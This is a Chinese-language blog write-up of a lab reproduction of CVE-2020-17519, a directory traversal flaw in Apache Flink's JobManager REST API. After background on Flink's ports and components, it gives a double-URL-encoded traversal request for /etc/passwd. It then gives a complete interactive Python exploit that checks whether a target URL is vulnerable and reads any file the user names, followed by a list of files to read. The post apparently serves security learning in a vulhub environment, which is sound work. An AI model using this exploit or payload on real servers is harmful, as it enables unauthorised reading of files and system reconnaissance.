Apache Flink目录遍历漏洞复现CVE-2020-17519

发布于 2023-08-05  514 次阅读


前置知识

  • 首先是环境配置,cd到CVE-2020-17519目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下,启动成功
find ./ -name *CVE-2020*
docker-compose up -d
docker ps

  • Apache Flink 是一个分布式系统,它需要计算资源来执行应用程序。Flink 集成了所有常见的集群资源管理器,例如 Hadoop YARN、 Apache Mesos和Kubernetes,但同时也可以作为独立集群运行。
Flink 被设计为能够很好地工作在上述每个资源管理器中,这是通过资源管理器特定(resource-manager-specific)的部署
模式实现的。Flink 可以采用与当前资源管理器相适应的方式进行交互。

部署 Flink 应用程序时,Flink 会根据应用程序配置的并行性自动标识所需的资源,并从资源管理器请求这些资源。在发生
故障的情况下,Flink 通过请求新资源来替换发生故障的容器。提交或控制应用程序的所有通信都是通过 REST 调用进行的
,这可以简化 Flink 与各种环境中的集成。
  • Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。

  • 远程攻击者通过REST API目录遍历,可造成文件读取/写入的影响。

在 Apache Flink 中,JobManager 是 Flink 集群中的一个主要组件,负责调度和协调作业的执行。而 REST 接口是一种通
过 HTTP 协议暴露的接口,用于与 Flink 集群进行交互和管理。
  • 关于这俩玩意
  1. JobManager: JobManager 是 Flink 集群的主要控制节点,负责接收作业提交请求、调度任务、分配资源、协调任务执行等。每个 Flink 集群都有一个 JobManager。使用 Flink 的命令行工具或者编程方式与 JobManager 进行交互。命令行工具如flink run可以用来提交作业,而编程方式可以使用 Flink 的客户端 API。

  2. REST 接口: Flink 提供了 REST 接口,允许用户和外部系统通过 HTTP 请求与 Flink 集群进行交互。通过 REST 接口,您可以提交作业、查询作业状态、查看集群状态、管理任务等。Flink 的 REST 接口默认在端口 8081 上运行(可以通过配置进行修改)。您可以使用任何支持 HTTP 请求的工具,如 cURL、Postman 或编程语言中的 HTTP 请求库,向 REST 接口发送请求来查询作业状态、查看集群状态等。

  • 简单来说,rest接口在8081端口对外提供api,利用它提供的api可以实现任意文件读取

  • 漏洞利用条件为Apache Flink版本为1.11.0或者1.11.1或者1.11.2

漏洞复现

  • 先访问一下服务,docker ps可以看到服务开在了8081端口,至于那个6123端口,这里并没有用到.可以看到Apache Flink组件版本为1.11.2,满足利用条件

  • Apache Flink 的 6123 端口用于 Flink 的远程通信和管理,主要用于与 Flink 集群中的 JobManager 通信。
JobManager 是 Flink 集群的主要协调节点,负责接收和调度提交的作业(jobs),管理任务的调度和执行,并提供了 REST
接口供用户和外部系统与 Flink 集群进行交互。

通过 6123 端口,您可以使用 Flink 的 REST API 与 Flink 集群进行交互,例如提交作业、查询作业状态、获取作业详情
等操作。这是与 Flink 集群进行远程管理和监控的入口之一。
  • 至于8081端口
8081 端口用于 Flink 的 Web UI 界面和 REST 接口。Flink 的 Web UI 提供了一个用户界面,允许您监控和管理正在执行
的作业、任务、JobManager 和 TaskManager 的状态等。此外,8081 端口还提供了 Flink 的 REST API,允许您通过 
HTTP 请求与 Flink 集群进行交互,例如提交作业、查询作业状态、获取作业计数等。
  • 6123 端口用于 Flink 内部组件之间的通信,而 8081 端口用于提供用户界面和与 Flink 集群进行交互的 REST 接
    口。所以我们打的是8081端口(也可能被改成其他的了,反正是提供ui的那个端口)

  • 直接使用poc进行目录穿越,注意url要二次编码

http://192.168.1.101:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%
252f..%252f..%252f..%252fetc%252fpasswd

  • 实战时不一定是跨越这么多层目录,可以用脚本解决
import requests
import sys
import json

def title():
    print('+------------------------------------------')
    print('+  \033[34mVersion: Apache Flink   1.11.0-1.11.2                             \033[0m')
    print('+  \033[36m使用格式: python3 CVE-2020-17519.py                                  \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx:xxx                             \033[0m')
    print('+  \033[36mFile        >>> /etc/passwd                                        \033[0m')
    print('+------------------------------------------')

def POC_1(target_url, file_name):
    file_name = file_name.replace("/", "%252f")
    vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
        print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url))
        if "root" in response.text:
            print("\033[32m[o] 目标 {} 存在漏洞,成功读取 /etc/passwd ,响应为:\n{}\033[0m".format(target_url, response.text))
        else :
            print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
        sys.exit(0)

def POC_2(target_url, file_name):
    file_name_re = file_name.replace("/", "%252f")
    vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name_re)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
        print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url))
        if "error" not in response.text:
            print("\033[32m[o] 目标 {} 存在漏洞,成功读取 {} ,响应为:\n{}\033[0m".format(target_url, file_name, response.text))
        else :
            print("\033[31m[x] 目标文件{}读取失败\033[0m".format(file_name))

    except Exception as e:
        print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
        sys.exit(0)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
    file_name = "/etc/passwd"
    POC_1(target_url, file_name)

    while True:
        file_name = input("\033[35mFile >>> \033[0m")
        if file_name == "exit":
            sys.exit(0)
        else:
            POC_2(target_url, file_name)
  • 这个脚本会先拿/etc/passwd测试是否读取成功来判断是否存在漏洞,如果存在就可以直接读取了,这里贴一份linux都有的文件,并且不需要root直接就能读的,因为这个漏洞读文件是没有root的,感觉比较鸡肋,得配合别的漏洞才能打
/etc/passwd: 包含有关系统用户的信息。
/etc/group: 包含有关用户组的信息。
/etc/hostname: 包含主机名信息。
/etc/issue: 包含系统登录提示信息。
/etc/motd: 包含登录后的消息(Message of the Day)。
/etc/resolv.conf: 包含 DNS 解析配置信息。
/etc/fstab: 包含文件系统挂载信息。
/etc/hosts: 包含主机名与 IP 地址的映射。
/etc/issue.net: 包含在网络上显示的信息。
/etc/localtime: 包含系统的时区信息。
/usr/share/zoneinfo: 包含各个时区的文件。

届ける言葉を今は育ててる
最后更新于 2024-02-07